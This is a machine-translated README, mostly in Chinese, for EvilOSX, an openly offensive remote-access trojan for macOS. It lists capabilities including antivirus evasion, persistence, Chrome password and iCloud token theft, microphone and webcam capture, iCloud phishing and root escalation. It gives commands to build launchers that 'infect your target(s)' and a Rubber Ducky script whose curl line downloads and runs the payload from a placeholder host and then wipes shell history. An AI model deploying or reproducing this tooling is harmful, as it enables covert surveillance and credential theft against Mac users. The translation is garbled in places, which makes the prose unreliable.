EvilOSX

邪惡的

MacOS / OS X的邪惡老鼠（遠程給藥工具）。

---

塞德里克·歐文斯（Cedric Owens）的Marco Generator

這個項目不再活躍

特徵

• 模仿終端實例
• 簡單的可擴展模塊系統
• 沒有機器人依賴性（純Python）
• 未被反病毒（OpenSSL AES-256加密有效載荷）檢測到
• 執著的
• GUI和CLI支持
• 檢索Chrome密碼
• 檢索iCloud令牌和聯繫人
• 檢索/監視剪貼板
• 檢索瀏覽器歷史記錄（Chrome和Safari）
• 通過iTunes提供iCloud密碼的網絡釣魚
• iTunes（iOS）備份枚舉
• 記錄麥克風
• 使用網絡攝像頭拍攝桌面屏幕截圖或圖片
• 嘗試通過當地特權升級來紮根

如何使用

 # Clone or download this repository
$ git clone https://github.com/Marten4n6/EvilOSX

# Go into the repository
$ cd EvilOSX

# Install dependencies required by the server
$ sudo pip install -r requirements.txt

# Start the GUI
$ python start.py

# Lastly, run a built launcher on your target(s)

警告：由於創建有效載荷是針對目標系統獨有的（由服務器自動），因此當任何機器人首次連接時，服務器必須運行。

高級用戶

對於那些想通過SSH使用它的人也有一個CLI：

 # Create a launcher to infect your target(s)
$ python start.py --builder

# Start the CLI
$ python start.py --cli --port 1337

# Lastly, run a built launcher on your target(s) 

屏幕截圖

動機

該項目是與我的橡皮鴨一起使用的，這是一個簡單的腳本：

 REM Download and execute EvilOSX @ https://github.com/Marten4n6/EvilOSX
REM See also: https://ducktoolkit.com/vidpid/

DELAY 1000
GUI SPACE
DELAY 500
STRING Termina
DELAY 1000
ENTER
DELAY 1500

REM Kill all terminals after x seconds
STRING screen -dm bash -c 'sleep 6; killall Terminal'
ENTER

STRING cd /tmp; curl -s HOST_TO_EVILOSX.py -o 1337.py; python 1337.py; history -cw; clear
ENTER

• 大約需要10秒鐘才能在任何解鎖的Mac上進行後門，這是......很好
• 末端L的拼寫是有意的，在某些系統上，否則不會找到終端。
  
• 要繞過鍵盤設置助手，請確保您更改可以在此處找到的VID＆PID。
  鋁製鍵盤（ISO）可能是您要尋找的鋁製鍵盤。

版本控制

Evilosx將盡可能地根據語義版本指南維護。
服務器和機器人版本將使用以下格式編號：

 <major>.<minor>.<patch>

並根據以下準則構建：

• 向後兼容（帶有較舊的機器人）會碰到專業
• 新的增加而不會破壞向後兼容性使未成年人碰到
• 錯誤修復和雜項更改顛簸補丁

有關SEMVER的更多信息，請訪問https://semver.org/。

設計筆記

• 感染機器分為三個部分：
  • 啟動器在目標計算機上運行，​​其唯一的目標是運行Stager
  • Stager向服務器詢問負載程序，該加載程序處理如何加載有效負載
  • 給裝載機提供了一個唯一加密的有效載荷，然後發送回Stager
• 服務器通過發送隱藏在http 404錯誤頁面中的消息來隱藏其通信
  • 命令請求是通過GET請求從服務器檢索的
  • 命令響應通過發布請求發送到服務器
• 模塊利用Python的動態性質，它們只是通過Zlib壓縮的網絡發送，以及任何配置選項
• 由於該機器人僅與服務器通信，而從不相反，因此服務器無法知道機器人何時脫機

問題

隨時在此處提交任何問題或功能請求。

貢獻

有關如何創建模塊的簡單指南，請單擊此處。

學分

• 很棒的帝國項目
• 向帕特里克·沃爾（Patrick Wardle）大喊他的出色演講，請查看客觀觀察
• Manwhoami的項目：Osxchromedecrypt，MmeTokendeCrypt，iCloudContacts
  （現在已刪除...如果您重新出現，請告訴我）
• Slowloris模塊幾乎是從pyslowloris複製的
• Urwid和此代碼為我節省了很多時間與CLI
• Motusora創建的徽標

執照

GPLV3